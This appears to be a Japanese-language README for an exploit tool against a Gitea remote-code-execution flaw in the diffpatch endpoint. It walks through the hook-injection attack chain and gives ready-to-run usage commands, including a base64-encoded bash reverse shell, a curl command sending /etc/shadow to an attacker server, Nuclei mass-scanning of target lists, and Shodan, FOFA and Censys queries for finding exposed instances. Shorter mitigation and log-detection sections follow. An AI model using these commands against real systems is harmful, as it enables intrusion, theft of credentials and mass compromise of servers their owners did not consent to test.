
CVE-2026-60004 事前認証RCEエクスプロイト — Gitea <= 1.27.0 diffpatch gitフックインジェクション (CVSS 9.8)
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
| 属性 | 詳細 |
|---|---|
| CVE ID | CVE-2026-60004 |
| CVSS スコア | 9.8 (Critical) |
| CWE | CWE-94 (Code Injection) |
| 影響を受けるバージョン | Gitea 1.17 から 1.27.0 |
| 修正バージョン | Gitea 1.27.1 (2026年7月27日リリース) |
| 脆弱性のあるエンドポイント | POST /api/v1/repos/{owner}/{repo}/diffpatch |
| 発見者 | Shai Rod (NightRang3r) |
| EPSS スコア | 0.95 (悪用確率95%) |
この脆弱性は、Gitea の diffpatch API エンドポイントがユーザー提供の Git パッチを処理する方法を悪用します:
ベアクローン・トラップ — エンドポイントは ベア の一時クローン(ワーキングツリーなし)を作成するため、そのルートディレクトリは そのまま $GIT_DIR になります。
パッチ処理 — git apply は --index、--recount、--cached、--binary のフラグと、(Git ≥ 2.32 の場合) スリーウェイマージのフォールバック用の -3 を指定して呼び出されます。
Add/Add 衝突 — 同一の悪意あるパッチを2回送信 することで、攻撃者は add/add 競合を引き起こします。Git のスリーウェイフォールバックがパッチ内のファイルパスをディスクに書き込み、--cached 制限をバイパスします。
フック注入 — 攻撃者はファイルパスが hooks/post-index-change となるようにパッチを作成します。クローンはベアであるため、これは Git のフックディレクトリに直接配置されます。
コード実行 — Git がインデックスを更新すると、post-index-change フックが自動的に実行され、攻撃者のシェルコマンドが Gitea サービスアカウント として実行されます。
Attacker Gitea Server
│ │
├─ POST /user/sign_up ────────────────►│ Register new user
│ │
├─ POST /api/v1/user/repos ───────────►│ Create private repo (auto-init)
│ │
├─ GET /api/v1/repos/.../branches ────►│ Get commit SHA
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 1st patch: plant hook
│ │ Git creates bare clone
│ │ Applies patch (--cached)
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 2nd patch: SAME PATCH
│ (same exact patch!) │ ADD/ADD COLLISION!
│ │ Git -3 fallback writes to disk
│ │ hooks/post-index-change created
│ │ Git fires post-index-change hook!
│ │ ┌─ Command executes ─┐
│ │ │ reads /etc/passwd │
│ │ │ stores in git blob │
│ │ │ creates rce-proof │
│ │ │ branch │
│ │ └────────────────────┘
│ │
├─ GET /api/v1/repos/.../raw/proof ───►│ Retrieve output
│◄─────────────────────────────────────┤ /etc/passwd contents
│ │
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required
# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"
# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto
# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
--user myuser --pw 'MyPass123!'
# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
--user myuser --pw 'MyPass123!' --repo existing-repo
# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "whoami; id; env"
# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "echo $PAYLOAD | base64 -d | bash"
# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000
# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt
# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v
Gitea をバージョン 1.27.1 以降に更新する:
# Docker
docker pull gitea/gitea:1.27.1
# Binary
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
オープン登録を無効化する(攻撃対象領域を削減):
# app.ini
[service]
DISABLE_REGISTRATION = true
Gitea を最小権限のサービスアカウントで実行する
diffpatch エンドポイントへの POST リクエストの連続送信を監視する
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log
# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710
# FOFA
app="Gitea"
title="Gitea"
# Censys
services.software.product:"Gitea"
このツールは 教育および許可されたセキュリティテストの目的のみ で提供されます。所有しているシステム、または明示的な書面によるテスト許可を得ているシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法であり、以下に違反する可能性があります:
著者は、このツールの誤用または損害について一切の責任を負いません。
MIT ライセンス — 詳細は EQSTLab リポジトリ を参照してください。